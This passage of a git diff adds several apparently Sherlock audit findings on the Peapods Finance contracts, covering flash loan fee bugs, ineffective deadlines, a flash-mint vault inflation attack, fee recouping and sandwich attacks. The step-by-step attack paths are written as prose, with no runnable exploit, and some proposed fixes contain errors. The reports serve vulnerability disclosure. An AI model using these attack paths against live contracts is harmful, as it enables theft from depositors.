+ - The protocol suffers financial losses, reduced liquidity, and potential insolvency.
+
+---
+
+### **Mitigation**
+**Verify the contract balance before and after the transaction to confirm fee deduction:**
+```solidity
+uint256 balanceBefore = IERC20(_fData.token).balanceOf(address(this));
+
+// Transfer flash loan amount
+IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+
+// Check that the required fee has been received
+uint256 balanceAfter = IERC20(_fData.token).balanceOf(address(this));
+require(balanceAfter >= balanceBefore + _fData.fee, "Fee mismatch");
+```
+ **Ensure `_feeAmounts[0]` is validated before being assigned.**
+ **Enforce fee checks at the smart contract level, preventing manipulation.**
+ **Implement a mechanism to track actual received fees instead of trusting external input.**
+
+---
+
+### **Conclusion**
+This vulnerability exposes the protocol to **repeated financial losses and possible insolvency** due to flash loan fee evasion. Immediate remediation is necessary to secure the system and protect protocol revenue.
\ No newline at end of file
diff --git a/205.md b/205.md
new file mode 100644
index 0000000..98fe2d2
--- /dev/null
+++ b/205.md
@@ -0,0 +1,42 @@
+Passive Leather Beaver
+
+Medium
+
+# Incorrect callback parameter causes flash loan failure
+
+### Summary
+
+`receiveFlashLoan` function incorrectly forwards `_userData` to the `callback` function instead of properly encoding `_fData`. This results in `_fData.fee` remaining unset (or defaulting to zero), leading to a failure in fee payment.
+
+### Root Cause
+
+- `_fData.fee` is set within `receiveFlashLoan`, but `_userData` (which does not reflect this change) is passed to `callback`.
+- Since the fee remains `0`, the loan repayment may fail.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L56
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Flash loans may fail due to incorrect fee handling.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+```solidity
+IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+```
\ No newline at end of file
diff --git a/206.md b/206.md
new file mode 100644
index 0000000..d319e5a
--- /dev/null
+++ b/206.md
@@ -0,0 +1,34 @@
+Furry Berry Armadillo
+
+Medium
+
+# Dangerous use of deadline parameter
+
+## Description
+
+The protocol is using `block.timestamp` as the `deadline` argument while interacting with the Uniswap which completely defeats the purpose of using a deadline.
+
+## Summary
+
+[swapV3Single](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L80), [_swapV3Multi](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/Zapper.sol#L182), [swapV2SingleExactOut](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L55) and [swapV2Single](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/dex/CamelotDexAdapter.sol#L32C14-L32C26) are protected by a deadline parameter to limit the execution of pending transactions. Using `block.timestamp` as the `deadline` is effectively a no-operation that has no effect nor protection. Since `block.timestamp` will take the timestamp value when the transaction gets mined, the check will end up comparing `block.timestamp` against the same value, i.e. `block.timestamp <= block.timestamp`
+```solidity
+modifier checkDeadline(uint256 deadline) {
+ require(_blockTimestamp() <= deadline, 'Transaction too old');
+ _;
+ }
+```
+
+```solidity
+ modifier ensure(uint deadline) {
+ require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED');
+ _;
+ }
+```
+
+
+## Impact
+Swap can be maliciously executed later, user can face up with the loss when the value of token change. In the worst scenario, vault can be liquidated because of the swap.
+
+
+## Recommendation
+User should be able to set the deadline.
\ No newline at end of file
diff --git a/207.md b/207.md
new file mode 100644
index 0000000..546bd15
--- /dev/null
+++ b/207.md
@@ -0,0 +1,85 @@
+Perfect Porcelain Snail
+
+Medium
+
+# Balancer governance flashloan fee activation breaks Balancer flashloan execution
+
+### Summary
+
+If Balancer Governance activates the flashloan fee, it will be impossible for users to execute flashloans through `BalancerFlashSource.sol` because the fee is not properly forwarded. As a result, vital operations (`addLeverage` or `removeLeverage`) will revert, affecting users who depend on flashloan for leverage.
+
+### Root Cause
+
+In [BalancerFlashSource.sol](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/flash/BalancerFlashSource.sol#L56) the flashloan fee is not properly returned to the callback:
+ - The `receiveFlashLoan` function decodes the flashloan data and sets the fee in the local variable `_fData` but then calls the recipient callback without re-encoding the updated data.
+ ```solidity
+ function receiveFlashLoan(
+ IERC20[] memory,
+ uint256[] memory,
+ uint256[] memory _feeAmounts,
+ bytes memory _userData
+ )
+ external
+ override
+ workflow(false)
+ {
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+ IFlashLoanRecipient(_fData.recipient).callback(_userData);
+ }
+ ```
+As the callback is still invoked with the original `_userData` (which lacks the updated fee information), any changes in the fee (as would happen if flashloan fees are activated) result in an underpayment of the fee, causing the flashloan to revert.
+
+### Internal Pre-conditions
+
+1. `BalancerFlashSource` is set for the borrowed token.
+
+### External Pre-conditions
+
+1. Balancer Governance activates flashloan fees, as detailed in [Balancer Protocol Fees Documentation](https://docs-v2.balancer.fi/concepts/governance/protocol-fees.html#flash-loan-fees).
+2. The external Balancer contract (via [_calculateFlashLoanFeeAmount()](https://github.com/balancer/balancer-v2-monorepo/blob/36d282374b457dddea828be7884ee0d185db06ba/pkg/vault/contracts/FlashLoans.sol#L60)) returns a non-zero fee in the flashloan, which must be repaid along with the principal.
+
+### Attack Path
+
+1. Balancer Governance activates flashloan fees.
+2. A user invokes a flashloan-dependent function (e.g., `addLeverage` or `removeLeverage`) using BalancerFlashSource.
+3. During flashloan execution, the Balancer vault calculates a fee based on the requested amount.
+4. The `receiveFlashLoan` function in BalancerFlashSource updates the local fee field but fails to re-encode the updated FlashData when calling the recipient callback.
+5. The recipient receives outdated data without the actual fee, causing the loan repayment to miss the fee.
+6. As a result, the flashloan repayment check fails, reverting the transaction.
+
+### Impact
+
+Users will be unable to successfully execute Balancer flashloan operations if the flashloan fee is activated by governance. This means that any operation relying on a flashloan (`addLeverage` or `removeLeverage`) will revert due to an insufficient fee repayment, essentially rendering the BalancerFlashSource unusable under these conditions.
+
+### PoC
+
+N/A
+
+### Mitigation
+
+Modify the `receiveFlashLoan()` function to ensure that the recipient receives the updated FlashData including the fee by passing the updated `_fData`:
+
+```diff
+function receiveFlashLoan(
+ IERC20[] memory,
+ uint256[] memory,
+ uint256[] memory _feeAmounts,
+ bytes memory _userData
+)
+ external
+ override
+ workflow(false)
+{
+ require(_msgSender() == source, "CBV");
+ FlashData memory _fData = abi.decode(_userData, (FlashData));
+ _fData.fee = _feeAmounts[0];
+ IERC20(_fData.token).safeTransfer(_fData.recipient, _fData.amount);
+- IFlashLoanRecipient(_fData.recipient).callback(_userData);
++ IFlashLoanRecipient(_fData.recipient).callback(abi.encode(_fData));
+}
+```
+
+This change ensures that the recipient callback correctly receives the fee amount to send.
\ No newline at end of file
diff --git a/208.md b/208.md
new file mode 100644
index 0000000..c96589d
--- /dev/null
+++ b/208.md
@@ -0,0 +1,105 @@
+Fast Khaki Raccoon
+
+High
+
+# Attacker can conduct a vault inflation attack in `WeightedIndex` by abusing the flash minting functionality
+
+### Summary
+
+Attacker can conduct a vault inflation attack in `WeightedIndex` by abusing the flash minting functionality
+
+### Root Cause
+
+An attacker can abuse the `DecentralizedIndex::flashMint()` function to conduct a vault inflation attack, resulting in a theft of funds from the second depositor.
+
+```solidity
+function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount);
+ IFlashLoanRecipient(_recipient).callback(_data);
+ _burn(_recipient, _amount);
+ _totalSupply -= _fee == 0 ? 1 : _fee;
+ _burn(_msgSender(), _fee == 0 ? 1 : _fee);
+ _shortCircuitRewards = 0;
+}
+```
+The attacker can provide such an amount to flashmint, such that the total supply goes to 1 which causes the share value to be inflated, one share will equal 100% of the assets in the pod. Then, the next depositor can be minted 0 shares, leading to the theft of funds of his assets.
+
+### Internal Pre-conditions
+
+1. No deposits in the pod
+
+### External Pre-conditions
+
+__No external conditions__
+
+### Attack Path
+
+NOTE: After some inspections, there is a minimum amount to mint so the issue with the steps below is not possible if the user provides a minimum of more than 0. To not change the issue a lot and spend another hour writing it, I will be leaving the path for the usual vault inflation attack below, but I will have a second part after step 5, where I am explaining how the issue can take place without any type of user error (as providing 0 minimum can be considered a user error):
+1. Victim deposits 1e18 in an empty pod, we will assume the pod is made of only 1 token for simplicity purposes, also ignoring bond and debond fees
+2. Attacker frontruns by depositing `1e18 + 1` assets which mints him 1e18 + 1 shares
+3. In a batch with the above step, attacker flashmints 1000000000000000000000 shares, which results in a fee of `1000000000000000000000 / 1000 = 1e18`, the total supply is decreased by the fee, thus `(1e18 + 1) - 1e18 = 1`, total supply is now 1 and the total assets of the underlying token in the pod is `1e18 + 1`
+4. When the victim's deposit goes through, we will have the following calculations:
+- 1e18 * 2^96 / (1e18 + 1) = 79228162514264337514315787821 (`tokenAmtSupplyRatioX96`)
+- tokens minted will be `1 * 79228162514264337514315787821 / (2^96) = 0` due to a round down
+- transfer amount will be `(1e18 + 1) * 79228162514264337514315787821 / (2^96) = 999999999999999999`
+- now the total supply is still 1 but the total assets are 2e18
+5. Attacker redeems his share for a profit, stealing all of the funds from the victim
+
+As explained earlier, the attack path above can be avoided by the user providing a minimum amount of pod tokens to mint. However, the scenario can occur in a particular case where we are in a `pOHM` pod. If a user calls `IndexUtils::addLPAndStake()` where he wants to provide liquidity using the `pOHM` pod and wants to use the zap functionality, eventually we will reach this code in `_zap()`:
+```solidity
+ IDecentralizedIndex(pOHM).bond(OHM, _amountOut, 0);
+```
+This flow provides no minimum, thus let's assume that we get minted 0 shares due to the issue explained in the attack path. Then, we have this code:
+```solidity
+_amountOut = _indexFund.addLiquidityV2(
+ IERC20(_indexFundAddy).balanceOf(address(this)) - (_idxTokensBefore == 0 ? 1 : _idxTokensBefore),
+ IERC20(_pairedLpToken).balanceOf(address(this)) - (_pairedLpTokenBefore == 0 ? 1 : _pairedLpTokenBefore),
+ _slippage,
+ _deadline
+ );
+```
+When the attacker did the frontrun, he should also send 1 `pOHM` token so we do not do an underflow, that way the input would be `1 - 0 = 1` instead of `0 - 1 -> underflow`. Then, we reach this code where we add the liquidity:
+```solidity
+ DEX_HANDLER.addLiquidity(
+ address(this),
+ PAIRED_LP_TOKEN,
+ _pTKNLPTokens,
+ _pairedLPTokens,
+ (_pTKNLPTokens * (1000 - _slippage)) / 1000,
+ (_pairedLPTokens * (1000 - _slippage)) / 1000,
+ _msgSender(),
+ _deadline
+ );
+```
+For the `pTKN`, the minimum amount would be based on the user data while for the paired LP token (the `pOHM`), the input would be 0 (unless no slippage) as we are multiplying a number less than 1000 by 1 and then dividing it by 1000, this rounds to 0. We eventually reach this code in the V2 router:
+```solidity
+if (reserveA == 0 && reserveB == 0) {
+ (amountA, amountB) = (amountADesired, amountBDesired);
+ } else {
+ uint256 amountBOptimal = UniswapV2Library.quote(amountADesired, reserveA, reserveB);
+ if (amountBOptimal <= amountBDesired) {
+ require(amountBOptimal >= amountBMin, "UniswapV2Router: INSUFFICIENT_B_AMOUNT");
+ (amountA, amountB) = (amountADesired, amountBOptimal);
+ } else {
+ uint256 amountAOptimal = UniswapV2Library.quote(amountBDesired, reserveB, reserveA);
+ assert(amountAOptimal <= amountADesired);
+ require(amountAOptimal >= amountAMin, "UniswapV2Router: INSUFFICIENT_A_AMOUNT");
+ (amountA, amountB) = (amountAOptimal, amountBDesired);
+ }
+ }
+```
+Here, for simplicity, we can assume that there is no liquidity (which is a completely valid case), thus we will just use the provided `X` `pTKN` tokens and 1 `pOHM`. Then, we mint the liquidity. In the end, the user gets minted liquidity for providing `X` `pTKN` and 1 `pOHM` when he actually provided `X` `pTKN` and `Y` amount of the `pOHM` which was stolen due to the vault inflation and the fact that no slippage was provided during the zap `pOHM` bond.
+
+### Impact
+
+Direct theft of funds
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Mint dead shares or refactor the flash minting functionality to charge the fee in a different way, which does not allow the share value to go up like explained in the issue.
\ No newline at end of file
diff --git a/209.md b/209.md
new file mode 100644
index 0000000..8e96f01
--- /dev/null
+++ b/209.md
@@ -0,0 +1,73 @@
+Fast Khaki Raccoon
+
+High
+
+# Users can recoup their flash minting fees, resulting loss for others
+
+### Summary
+
+Users can recoup their flash minting fees, resulting loss for others
+
+NOTE: The issue assumes 0 bond/debond fees. According to the README, this is a valid case:
+>Are there any limitations on values set by admins (or other roles) in the codebase, including restrictions on array lengths?
+
+>For all access-controlled functions we have validations on restricting values at the beginning of the setters, so refer to those.
+
+As seen, any expected value restrictions are in the setters. As seen in the code, these are the validations:
+```solidity
+ require(__fees.buy <= (uint256(DEN) * 20) / 100);
+ require(__fees.sell <= (uint256(DEN) * 20) / 100);
+ require(__fees.burn <= (uint256(DEN) * 70) / 100);
+ require(__fees.bond <= (uint256(DEN) * 99) / 100);
+ require(__fees.debond <= (uint256(DEN) * 99) / 100);
+ require(__fees.partner <= (uint256(DEN) * 5) / 100);
+```
+Thus, we can see that 0 bond and debond fees are allowed, so according to the README, they are valid values in the scope of the audit.
+
+### Root Cause
+
+Users can flashmint using the below function:
+```solidity
+function flashMint(address _recipient, uint256 _amount, bytes calldata _data) external override lock {
+ _shortCircuitRewards = 1;
+ uint256 _fee = _amount / 1000;
+ _mint(_recipient, _amount);
+ IFlashLoanRecipient(_recipient).callback(_data);
+ _burn(_recipient, _amount);
+ _totalSupply -= _fee == 0 ? 1 : _fee;
+ _burn(_msgSender(), _fee == 0 ? 1 : _fee);
+ _shortCircuitRewards = 0;
+}
+```
+Then, they have to pay 0.1% of the amount minted as fees. The issue is that they can simply sandwich the mint by flashloaning the underlying pod asset, bonding it and then after the flashmint, debonding. This will allow them to recoup a huge portion of their fees as they will own a huge amount of the total supply.
+
+### Internal Pre-conditions
+
+__No internal pre-conditions__
+
+### External Pre-conditions
+
+__No external conditions__
+
+### Attack Path
+
+1. There are 10,000\$ of USDC deposited in a pod, the pod is made up of only that token, the total supply is 1:1, so 10_000e6
+2. User wants to flash mint himself 10000e6 pod tokens, he has to burn 10e6 pod tokens as fee
+3. User flashloans 1,000,000\$ USDC from Morpho (free flashloans, there are currently a lot more than that as available USDC to flashloan) and bonds them, now the total supply is `1_000_000e6 + 10_000e6`, same goes for the total assets
+4. The total supply decreases by 1e6 due to the fees, now it is `1_000_000e6 + 10_000e6 - 10e6`, total assets are still `1_000_000e6 + 10_000e6`
+5. The user redeems his 1_000_000e6 shares and receives `1000000e6 * (1000000e6 + 10000e6) / (1000000e6 + 10000e6 - 10e6) = 1000009901088` assets (actual formulas used in the code are different but capture the same goal and idea, they would yield pretty much the same results)
+6. The user repays his flashloan and has 9901088 tokens leftover which is ~9.9\$, he only paid ~0.1\$ as fees instead of the 10\$ he actually had to
+
+### Impact
+
+Users can essentially avoid paying the flashmint fees. Users can also simply frontrun and backrun anyone who flashmints to steal out of the suppliers in the same way (except the flashloan as it wouldn't be in the same transaction).
+
+In the example given, if we imagine 1 depositor before the flashint, this results in a loss of ~99% (only getting ~0.1\$ instead of 10\$) and a loss of ~10\$, sufficient of High severity.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Consider adding a delay between being able to bond and debond. Another option which would be harder to implement is a time-based vesting mechanism similar to how a staking contract like Synthetix would work.
\ No newline at end of file
diff --git a/210.md b/210.md
new file mode 100644
index 0000000..d3ea353
--- /dev/null
+++ b/210.md
@@ -0,0 +1,39 @@
+Passive Pastel Hippo
+
+High
+
+# The function _updateUserState in the VotingPool contract, under certain circumstances, causes users to be unable to reclaim their staked assets.
+
+### Summary
+
+In the contract `VotingPool`, a part of the logic in the function `_updateUserState` may prevent users from withdrawing their staked assets through the `unstake` function.
+
+### Root Cause
+
+This function(`_updateUserState`) implements the logic for updating the user's entitled vote tokens. It recalculates the number of vote tokens a user should receive based on the value of the assets they have staked, minting or burning vote tokens accordingly. This function should not affect the quantity of assets staked by the user or the process of asset redemption. However, due to the improper use of the `_burn` function, in some cases, result in the burn of all vote tokens held by the user (`_burn(_user, balanceOf(_user))`), which prevents the user from redeeming their staked assets through the `unstake` function.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L77-L80
+Specifically, when the conditions `_mintedAmtBefore > _finalNewMintAmt` and `_mintedAmtBefore - _finalNewMintAmt > balanceOf(_user)` are met, the contract will execute the statement `_burn(_user, balanceOf(_user))`, destroying all vote tokens held by the user. If, at this point, the user wishes to redeem their assets, they would need to call the `unstake` function. However, since the user's vote token balance is now zero, this will trigger the revert statement `require(_amount > 0, "R")` in the `unstake` function, or cause a revert due to insufficient balance when burning vote tokens (`_burn(_msgSender(), _amount)`). Ultimately, this leads to the user being unable to retrieve their staked assets.
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/voting/VotingPool.sol#L47-L56
+
+### Internal Pre-conditions
+
+The user needs to stake assets through the stake function.
+The values of _convFctr and _convDenom need to change.
+The user calls the update function.
+The above conditions lead to the execution of the statement _burn(_msgSender(), _amount).
+
+### External Pre-conditions
+
+The values of _convFctr and _convDenom need to change.
+
+### Attack Path
+
+1. The user needs to stake assets through the stake function.
+2. The values of _convFctr and _convDenom need to change.
+3. The user calls the update function.
+4. The above conditions lead to the execution of the statement _burn(_msgSender(), _amount).
+5. A revert occurs when the user calls the unstake function.
+
+### Impact
+
+The assets staked by the user cannot be withdrawn.
\ No newline at end of file
diff --git a/211.md b/211.md
new file mode 100644
index 0000000..9470811
--- /dev/null
+++ b/211.md
@@ -0,0 +1,44 @@
+Joyous Midnight Goat
+
+Medium
+
+# `slot0` price in _getSqrtPriceX96FromPool can be manipulated
+
+### Summary
+
+lHowever, the `slot0` price can be manipulated, potentially leading to the manipulation of _sqrtPriceX96.
+ function _getSqrtPriceX96FromPool(IUniswapV3Pool _pool, uint32 _interval)
+ public
+ view
+ returns (uint160 _sqrtPriceX96)
+ {
+ if (_interval == 0) {
+ (_sqrtPriceX96,,,,,,) = _pool.slot0();
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/oracle/UniswapV3SinglePriceOracle.sol#L52
+
+### Internal Pre-conditions
+
+_No response_
+
+### External Pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+It's recommend to use TWAP price instead of `slot0` price to get the current price.
\ No newline at end of file
diff --git a/212.md b/212.md
new file mode 100644
index 0000000..bcf6fbb
--- /dev/null
+++ b/212.md
@@ -0,0 +1,48 @@
+Joyous Midnight Goat
+
+Medium
+
+# Hardcoded Tick Spacing May Cause Incompatibility
+
+### Summary
+
+he function getV3Pool() hardcodes the tick spacing to int24(200), which may not be valid for all pools:
+
+
+function getV3Pool(address _v3Factory, address _t0, address _t1) external view override returns (address) {
+ (address _token0, address _token1) = _t0 < _t1 ? (_t0, _t1) : (_t1, _t0);
+ PoolAddressSlipstream.PoolKey memory _key =
+ PoolAddressSlipstream.PoolKey({token0: _token0, token1: _token1, tickSpacing: int24(200)});
+ return PoolAddressSlipstream.computeAddress(_v3Factory, _key);
+ }
+
+Some Uniswap V3 pools have different tick spacings (e.g., 10, 60, 200, 500).
+
+### Root Cause
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/twaputils/V3TwapAerodromeUtilities.sol#L38
+
+### Internal Pre-conditions
+
+none
+
+### External Pre-conditions
+
+none
+
+### Attack Path
+
+none
+
+### Impact
+
+Hardcoded Tick Spacing May Cause Incompatibility
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Allow dynamic tick spacing input instead of hardcoding it.
+ Fetch the actual tick spacing from the factory if possible.
\ No newline at end of file
diff --git a/213.md b/213.md
new file mode 100644
index 0000000..e479efa
--- /dev/null
+++ b/213.md
@@ -0,0 +1,74 @@
+Agreeable Pear Narwhal
+
+High
+
+# An incorrect balance adjustment will lock funds for users in AutoCompoundingPodLp._swapV2()
+
+### Summary
+
+The incorrect adjustment of `_intermediateBal `in `AutoCompoundingPodLp._swapV2()` will cause funds to be locked in the contract for users as the function restricts the second swap amount without handling excess funds properly.
+
+### Root Cause
+
+In `AutoCompoundingPodLp._swapV2()`, when `_path[1]` has a `maxSwap` limit, `_intermediateBal `is reduced to `maxSwap[_path[1]]`.
+This adjustment does not account for the leftover balance, leading to unspent tokens remaining in the contract.
+So there will be these excess tokens in `_path[1]` on this contract.
+
+So when `_path[0]` doesn't have any `maxSwap` (`maxSwap[_path[0]] == 0`), it will swap all `amountIn` to `_path[1]`.
+But, at line 382, as we have `maxSwap` at `_path[1]`, the `_intermediateBal ` will be reduced at line 383, and the funds are locked in the contract.
+
+https://github.com/sherlock-audit/2025-01-peapods-finance/blob/main/contracts/contracts/AutoCompoundingPodLp.sol#L368-L388
+
+### Internal Pre-conditions
+
+1. `_swapV2` is called with _path.length == 3 (i.e., a two-hop swap).
+2. `maxSwap[_path[0]] == 0` (no limit on the first token).
+3. `maxSwap[_path[1]] > 0` (a limit exists on the second token).
+4. The first swap results in `_intermediateBal > maxSwap[_path[1]]`.
+
+### External Pre-conditions
+
+The DEX liquidity is sufficient for both swaps to execute normally.
+The price impact on `_path[1]` does not change significantly between swaps.
+
+### Attack Path
+
+1. A user calls `_swapV2` with a valid `_path` and `_amountIn`.
+2. The first swap is executed successfully, producing `_intermediateBal`.
+3. `_intermediateBal` is higher than `maxSwap[_path[1]]`, so the function caps it.
+4. The second swap executes only with the capped amount.
+5. The remaining balance in `_path[1]` is left in the contract with no way to withdraw it.
+
+### Impact
+
+**Users suffer a loss of funds**, as tokens in `_path[1]` remain in the contract and cannot be retrieved.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Estimate the First Swap’s Output Before Executing It
+We should: **Pre-calculate** `_amountOut` using a price estimation function before swapping.
+Adjust `_amountIn` accordingly if `_amountOut` will exceed `maxSwap[_path[1]]`.
+
+```solidity
+
+// Adjust first swap amount if maxSwap is set for _path[0]
+if (maxSwap[_path[0]] > 0 && _amountIn > maxSwap[_path[0]]) {
+ _amountOutMin = (_amountOutMin * maxSwap[_path[0]]) / _amountIn;
+ _amountIn = maxSwap[_path[0]];
+}
+
+// Pre-check expected output before first swap
+uint256 expectedOut = DEX_ADAPTER.getSwapOutput(_path[0], _path[1], _amountIn);
+
+// Adjust amountIn if expected output exceeds maxSwap[_path[1]]
+if (_twoHops && maxSwap[_path[1]] > 0 && expectedOut > maxSwap[_path[1]]) {
+ uint256 adjustedAmountIn = (_amountIn * maxSwap[_path[1]]) / expectedOut;
+ _amountIn = adjustedAmountIn;
+ _amountOutMin = (_amountOutMin * adjustedAmountIn) / _amountIn;
+}
+
+```
\ No newline at end of file
diff --git a/214.md b/214.md
new file mode 100644
index 0000000..c49df1e
--- /dev/null
+++ b/214.md
@@ -0,0 +1,113 @@
+Atomic Syrup Leopard
+
+Medium
+
+# Users lose their borrow assets during removing leverage because of the incorrect calculation of remaining borrow amount.
+
+### Summary
+
+When users remove their leverage from LVF, they can provide `_podSwapAmtOutMin` to override the output amount of swapping pod token into borrow asset. And the remaining borrow amount is calculated after paying flash loan and is sent back to the user.
+
+However, the remaining borrow amount is calculated incorrectly, thus causing loss to users.
+
+### Root Cause
+
+The root cause is in [`_removeLeveragePostCallback`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L400) function.
+
+It returns zero as `_borrowAmtRemaining` when `_pairedAmtReceived < _repayAmount`.
+
+When `_podSwapAmtOutMin` is zero, the logic is correct, but when `_podSwapAmtOutMin` is set, it's usually `_podSwapAmtOutMin > _pairedAmtReceived - _repayAmount`, thus there is always the remaining amount to be returned.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+N/A
+
+### Attack Path
+
+- Alice has a leverage position in LVF and going to remove leverage.
+- Assume, 1000 DAI needs to be repaid and 800 DAI is returned by removing leverage and unstaking.
+- The amount to swap is 200 DAI, but say Alice has provided 300 DAI as `_podSwapAmtOutMin`.
+- Some of her pod tokens are swapped into 300 DAI.
+- After paying 1000 DAI flash loan, there's 100 DAI left in the contract.
+- However, the contract does not return 100 DAI to Alice.
+- As a result, Alice loses 100 DAI.
+
+### Impact
+
+Users lose their borrow assets during removing leverage, as long as they provide `_podSwapAmtOutMin`.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+To make it simple, the remaining borrow amount to be returned would be the contract's balance. Or to make it precise, `_acquireBorrowTokenForRepayment` function should return the remaining amount along with `_podAmtRemaining`.
+
+```diff
+ function _acquireBorrowTokenForRepayment(
+ LeverageFlashProps memory _props,
+ address _pod,
+ address _borrowToken,
+ uint256 _borrowNeeded,
+ uint256 _podAmtReceived,
+ uint256 _podSwapAmtOutMin,
+ uint256 _userProvidedDebtAmtMax
+- ) internal returns (uint256 _podAmtRemaining) {
++ ) internal returns (uint256 _podAmtRemaining, uint256 _borrowRemainingAmt) {
+ _podAmtRemaining = _podAmtReceived;
+ uint256 _borrowAmtNeededToSwap = _borrowNeeded;
+ if (_userProvidedDebtAmtMax > 0) {
+ uint256 _borrowAmtFromUser =
+ _userProvidedDebtAmtMax >= _borrowNeeded ? _borrowNeeded : _userProvidedDebtAmtMax;
+ _borrowAmtNeededToSwap -= _borrowAmtFromUser;
+ IERC20(_borrowToken).safeTransferFrom(_props.sender, address(this), _borrowAmtFromUser);
+ }
+ // sell pod token into LP for enough borrow token to get enough to repay
+ // if self-lending swap for lending pair then redeem for borrow token
+ if (_borrowAmtNeededToSwap > 0) {
+ if (_isPodSelfLending(_props.positionId)) {
+- _podAmtRemaining = _swapPodForBorrowToken(
++ (_podAmtRemaining, _borrowRemainingAmt) = _swapPodForBorrowToken(
+ _pod,
+ positionProps[_props.positionId].lendingPair,
+ _podAmtReceived,
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).convertToShares(_borrowAmtNeededToSwap),
+ _podSwapAmtOutMin
+ );
+ IFraxlendPair(positionProps[_props.positionId].lendingPair).redeem(
+ IERC20(positionProps[_props.positionId].lendingPair).balanceOf(address(this)),
+ address(this),
+ address(this)
+ );
+ } else {
+- _podAmtRemaining = _swapPodForBorrowToken(
++ (_podAmtRemaining, _borrowRemainingAmt) = _swapPodForBorrowToken(
+ _pod, _borrowToken, _podAmtReceived, _borrowAmtNeededToSwap, _podSwapAmtOutMin
+ );
+ }
+ }
+ }
+
+ function _swapPodForBorrowToken(
+ address _pod,
+ address _targetToken,
+ uint256 _podAmt,
+ uint256 _targetNeededAmt,
+ uint256 _podSwapAmtOutMin
+- ) internal returns (uint256 _podRemainingAmt) {
++ ) internal returns (uint256 _podRemainingAmt, uint256 _borrowRemainingAmt) {
+ IDexAdapter _dexAdapter = IDecentralizedIndex(_pod).DEX_HANDLER();
+ uint256 _balBefore = IERC20(_pod).balanceOf(address(this));
+ IERC20(_pod).safeIncreaseAllowance(address(_dexAdapter), _podAmt);
+ _dexAdapter.swapV2SingleExactOut(
+ _pod, _targetToken, _podAmt, _podSwapAmtOutMin == 0 ? _targetNeededAmt : _podSwapAmtOutMin, address(this)
+ );
+ _podRemainingAmt = _podAmt - (_balBefore - IERC20(_pod).balanceOf(address(this)));
++ _borrowRemainingAmt = _podSwapAmtOutMin == 0 ? 0 : _podSwapAmtOutMin - _targetNeededAmt;
+ }
+```
\ No newline at end of file
diff --git a/215.md b/215.md
new file mode 100644
index 0000000..e36183f
--- /dev/null
+++ b/215.md
@@ -0,0 +1,45 @@
+Atomic Syrup Leopard
+
+High
+
+# Users can lose all their pod tokens during removing leverage due to sandwich attack
+
+### Summary
+
+When users remove leverage, they need to pay back flash loan of borrow assets while they have some amounts of pod tokens and borrow tokens unstaked. When the unstaked amount of borrow tokens is less than the flash loan amount, some of their pod tokens are swapped into borrow tokens through Uniswap V2 pool to repay the flash loan.
+
+However, there's no slippage protection for the swap, thus users can lose all their pod tokens due to sandwich attack.
+
+### Root Cause
+
+The root cause is in the [`_swapPodForBorrowToken`](https://github.com/sherlock-audit/2025-01-peapods-finance/blob/d28eb19f4b39d3db7997477460f9f9c76839cb0c/contracts/contracts/lvf/LeverageManager.sol#L466) function, where it passes total `_podAmt` as `amountInMax` to Uniswap V2 router.
+
+### Internal Pre-conditions
+
+N/A
+
+### External Pre-conditions
+
+The attacker needs to be able to sandwich the swap of pod tokens into borrow tokens.
+
+### Attack Path
+
+1. Let's assume Alice has 1000 DAI borrowed from flash loan which needs to be repaid
+2. Alice has unstaked 200 `pTkn` and 800 DAI
+3. Alice has to sell some of her `pTkn` to receive 200 DAI
+4. Uniswap V2's `pTkn / DAI` pool has 10000 DAI and 1000 `pTkn`, which makes the price 1 `pTkn` = 10 DAI, making 20 out of 200 `pTkn` be swapped into 200 DAI approximately
+5. The attacker swaps `2162 pTkn` for `6838 DAI`, makes it `3162 pTkn` and `3162 DAI` in the pool. The constant product `K` remains same as `1e7`
+6. Since `pTkn` and `DAI` price is same, Alice pays 200 `pTkn` to receive 200 DAI (approximately)
+7. After Alice's swap, the attacker swaps his DAI into `pTkn` again, making profit
+
+### Impact
+
+Users can lose their pod tokens upto 100%
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+When `removeLeverage` is called, user has to provide max amount of pod tokens to sell.
\ No newline at end of file
diff --git a/216.md b/216.md
new file mode 100644
index 0000000..8242b3f
--- /dev/null
+++ b/216.md
@@ -0,0 +1,56 @@
+Joyous Midnight Goat
+
